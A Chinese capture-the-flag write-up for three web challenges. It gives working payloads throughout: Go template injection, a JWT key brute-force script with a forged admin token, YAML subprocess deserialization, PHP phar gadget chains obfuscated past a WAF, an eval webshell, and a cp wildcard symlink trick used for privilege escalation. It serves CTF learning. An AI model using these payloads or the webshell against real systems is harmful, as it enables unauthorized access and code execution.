湾区杯 web ssti 访问直接能ssti,但是尝试常规的49等回显依然还是49,判断不为常规语言的ssti,尝试go语言的sstipayload{{ . }} 回显两个函数base64decode和exec 直接调用exec进行cat /flag{{ exec ("cat /flag") }} 发现存在过滤,利用base64decode绕过{{exec (B64Decode"Y2FOIC9mbGFn")}}flag{pqRpoqrMq9Tqyhs91afm3rc6HXEDZH1t}
ez-python 访问后可以上传文件并执行,但是需要admin权限 抓包发现会向/auth路由发包获取token,jwt解码发现是user权限,需要jwt伪造,这里先随便用一个秘钥生成一个admin权限的token访问,发现回显hint{"error":"JWT Decode Failed. Key Hint","hint":"Key starts with \"@o70xO$0%#qR9#**\". The 2 missing chars are alphanumeric (letters and numbers)."} 末尾两位为字母或数字,也就是让我们爆破两位秘钥
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import jwt import itertools import string import sys def brute_force_jwt_key(jwt_token, key_prefix): """ 爆破JWT秘钥 :param jwt_token: 需要破解的JWT令牌 :param key_prefix: 已知的秘钥前缀 """ # 生成所有可能的两个字母数字字符组合 chars = string.ascii_letters + string.digits combinations = itertools.product(chars, repeat=2) total_attempts = len(chars) ** 2 print(f"总共需要尝试 {total_attempts} 种组合") for i, (c1, c2) in enumerate(combinations): key_candidate = key_prefix + c1 + c2 try: # 尝试解码JWT decoded = jwt.decode(jwt_token, key_candidate, algorithms=['HS256']) print(f"\n成功找到秘钥!: {key_candidate}") print(f"解码后的载荷: {decoded}") return key_candidate except jwt.InvalidSignatureError: # 签名错误继续尝试 if i % 100 == 0: print(f"已尝试 {i+1}/{total_attempts} 种组合", end='\r') continue except jwt.ExpiredSignatureError: print(f"\n秘钥可能正确但令牌已过期: {key_candidate}") return key_candidate except Exception as e: # 其他异常可能是秘钥正确但令牌有问题 print(f"\n异常发生,秘钥可能正确: {key_candidate}, 错误: {e}") return key_candidate print("\n未能找到正确的秘钥") return None if __name__ == "__main__": if len(sys.argv) != 2: print("用法: python jwt_brute_force.py <JWT_TOKEN>") sys.exit(1) jwt_token = sys.argv[1] key_prefix = "@o70xO$0%#qR9#" print("开始JWT秘钥爆破...") found_key = brute_force_jwt_key(jwt_token, key_prefix) if found_key: print(f"爆破完成,找到的秘钥: {found_key}") else: print("爆破完成,未找到有效秘钥")
爆破完成,找到的秘钥: @o70xO$0%#qR9#m0 然后利用秘钥生成一个admin权限的token即可eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwicm9sZSI6ImFkbWluIn0.-Ws9e4GwaL0hesqjmSuOKNmyximBStder-7VnXK0w70 抓包替换即可进入/sandbox路由 这里既可以python命令执行,也可以进行yaml反序列化,python命令执行过滤比较严重,先试试进行yaml反序列化 直接传入payload
注意命令执行参数需要写成"ls","/"而不能写成"ls /"subprocess.check_output 接收一个列表作为命令参数。这里的 ["ls", "/"] 会被解析为两个独立的参数:ls 和 /,等同于在终端执行 ls /
!!python/object/apply:subprocess.check_output [["ls","/"]]!!python/object/apply:subprocess.check_output [["cat","/f1111ag"]]flag{MDy0CDZNuOrq7I0To5bofBy0tdfdVHw8}
easy_readfile 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 <?php highlight_file(__FILE__); function waf($data){ if (is_array($data)){ die("Cannot transfer arrays"); } if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) { die("You can't do"); } } class Coral{ public $pivot; public function __set($k, $value) { $k = $this->pivot->ctor; echo new $k($value); } } class Nimbus{ public $handle; public $ctor; public function __destruct() { return $this->handle(); } public function __call($name, $arg){ $arg[1] = $this->handle->$name; } } class Zephyr{ public $target; public $payload; public function __get($prop) { $this->target->$prop = $this->payload; } } class Acheron { public $mode; public function __destruct(){ $data = $_POST[0]; if ($this->mode == 'w') { waf($data); $filename = "/tmp/".md5(rand()).".phar"; file_put_contents($filename, $data); echo $filename; } else if ($this->mode == 'r') { waf($data); $f = include($data); if($f){ echo "It is file"; } else{ echo "You can look at the others"; } } } } if(strlen($_POST[1]) < 52) { $a = unserialize($_POST[1]); } else{ echo "str too long"; } ?>
先常规尝试原生类读取文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php class Coral{ public $pivot; } class Nimbus{ public $handle; public $ctor; } class Zephyr{ public $target; public $payload; } class Acheron { public $mode; } $a=new Acheron(); $a->mode='w'; print_r(serialize($a)); $b=new Nimbus(); $c=new Nimbus(); $d=new Zephyr(); $e=new Coral(); $f=new Nimbus(); $b->handle=$c; $c->handle=$d; $d->target=$e; $d->payload='glob://f*'; $e->pivot=$f; $f->ctor='DirectoryIterator'; $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("GIF89a"."< ?php __HALT_COMPILER(); ?>"); //设置stub $phar->setMetadata($b); //将自定义的meta-data存入manifest $phar->addFromString("test.txt", "test"); //添加要压缩的文件,随便新建一个文件内容随意 $phar->stopBuffering(); ?>
然后为了绕过waf这里先gzip压缩一下,然后再url编码上传
1 2 3 4 5 import urllib.parse with open("shell.phar.gz", 'rb') as fi: f = fi.read() ff = urllib.parse.quote(f) #获取信息 print(ff)
1=O:7:"Acheron":1:{s:4:"mode";s:1:"w";}&0=%1F%8B%08%08%F3%F2%BEh%00%0Bphar.phar%00s%F7t%B3%B0L%B4Q%B0/%C8%28P%88%8F%F7p%F4%09%89w%F6%F7%0D%F0%F4q%0D%D2%D0%B4V%B0%B7%E3%E5%D2%60d%60%00%22%06A%06%08%CD%C0%F0%09%88%FD%AD%CC%AC%94%FC2s%93J%8B%95%AC%8C%AC%AA%8BA%FC%8C%C4%BC%94%9CT%25k%C2%92Q%A9%05%19%95E%08%C9%92%C4%A2%F4%D4%12%90%A4%A9%95%92s~Qb%8E%92%95%21H%0E%C8-%C8%2C%CB/%21%60%A8%9Fu%B1%95%89%95RrI~%91%12%90ihn%A5%E4%92Y%94%0A%E2Wz%96%A4%16%25%82%25jk%8B%AD%802%05%89%959%F9%89%29%20%85%96VJ%E99%F9IV%FA%FAiZ%40y%24C%FC%D0y%1C%40_%97%A4%16%97%E8%95T%94%B0%00%D9%9F%3F%ED%CB%00%D1%3Cu%F57%B6A%02%06%2C%FF%92Y%3B%CA%FBWI%D9w%EB%FD%B6qf%7F%BA.m%5E%FCyb%91%99%D6%03%C6%C7%5E%FF%147%BC%60%06%AAsw%F2u%02%00%16%9D%A8Y%7C%01%00%00 然后包含phar触发反序列化1=O:7:"Acheron":1:{s:4:"mode";s:1:"r";}&0=phar:///tmp/bfa91190184091a86f67a022edbe890d.phar 有回显但是读取失败,可能因为权限不足,利用phar进行写马尝试RCE提权
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php $phar = new Phar('shell.phar'); $phar->startBuffering(); $stub = <<<'STUB' <?php $cmd='<?php eval($_POST[1]); ?>'; file_put_contents("shell.php",$cmd); __HALT_COMPILER(); ?> STUB; $phar->setStub($stub); $phar->addFromString('test.txt', 'test'); $phar->stopBuffering(); ?>
一样gzip压缩url编码上传1=O:7:"Acheron":1:{s:4:"mode";s:1:"w";}&0=%1F%8B%08%08%85%F6%BEh%00%0Bshell.phar%00%B3%B1/%C8%28%E0R%00%02%95%E4%DC%14%5Bu%1B%10_%21%B5%2C1GC%25%3E%C0%3F8%24%DA0V%D3Z%C1%DEN%DD%1A%AC%2A-3%275%BE%A0%B4%24%3E9%3F%AF%245%AF%A4XC%A98%235%27G%0F%A8MI%07d%86%26Da%7C%BC%87%A3OH%BC%B3%BFo%80%A7%8Fk%90%06%D8%10%5E.3%06%06%06F%20%16%84%D2%10%C0%01%C4%25%A9%C5%25z%25%15%25%2C%40v%EB%B7%7D%19%20%9A%A7%AE%FE%C66%A82%90%FC%C6%C3%DF%F6%9FU%BBU%5Era%9A%FF%8E%F2%09%12%3F%B7%7D%A9%FC%D6s%F7%BE%DD%D1%C3%0ER%EFz%EC%99%81%EA%DC%9D%7C%9D%00%0F%28%C9%86%D6%00%00%00 然后包含phar写马1=O:7:"Acheron":1:{s:4:"mode";s:1:"r";}&0=phar:///tmp/bfa91190184091a86f67a022edbe890d.phar 访问shell.php发现传马成功,蚁剑连接 看一下进程
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 (ctfuser:/var/www/html/backup) $ ps -aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.0 76736 26308 pts/0 Ss+ 14:51 0:00 apache2 -DFOREGROUND root 7 0.0 0.0 3896 3132 pts/0 S+ 14:51 0:00 /bin/bash /run.sh root 8 0.0 0.0 3896 2180 pts/0 S+ 14:51 0:00 /bin/bash /start.sh ctfuser 24 0.0 0.0 77392 14788 pts/0 S+ 14:51 0:00 apache2 -DFOREGROUND ctfuser 25 0.0 0.0 77392 14540 pts/0 S+ 14:51 0:00 apache2 -DFOREGROUND ctfuser 26 0.0 0.0 77392 14604 pts/0 S+ 14:51 0:00 apache2 -DFOREGROUND ctfuser 27 0.0 0.0 77392 14660 pts/0 S+ 14:51 0:00 apache2 -DFOREGROUND ctfuser 28 0.0 0.0 77392 14468 pts/0 S+ 14:51 0:00 apache2 -DFOREGROUND root 1489 0.0 0.0 2392 572 pts/0 S+ 15:48 0:00 sleep 30 root 1495 0.0 0.0 2392 552 pts/0 S+ 15:48 0:00 sleep 10 ctfuser 1496 0.0 0.0 2480 516 pts/0 S+ 15:48 0:00 sh -c /bin/sh -c "cd "/var/www/html/backup";ps -aux;echo 1c2701bc4;pwd;echo 19a7bb5ce" 2>&1 ctfuser 1497 0.0 0.0 2480 580 pts/0 S+ 15:48 0:00 /bin/sh -c cd /var/www/html/backup;ps -aux;echo 1c2701bc4;pwd;echo 19a7bb5ce ctfuser 1498 0.0 0.0 6756 2904 pts/0 R+ 15:48 0:00 ps -aux
发现/run.sh,去看一下代码
1 2 3 4 5 6 7 8 #!/bin/bash cd /var/www/html/ while : do cp -P * /var/www/html/backup/ chmod 755 -R /var/www/html/backup/ sleep 10 done
发现它会定时将/var/www/html/目录下的文件复制到backup目录下,并且将backup目录下的文件权限设置为755 创建/flag的软连接
1 2 3 (ctfuser:/var/www/html) $ ln -s /flag f (ctfuser:/var/www/html) $ touch ./-L (ctfuser:/var/www/html) $ cd backup
然后等待几秒读取flag即可flag{USf5q0Dim4xTwkPRxpClTu4aKvf5cv3O}
这里读取有可能依然提示权限不足,可以删除后再尝试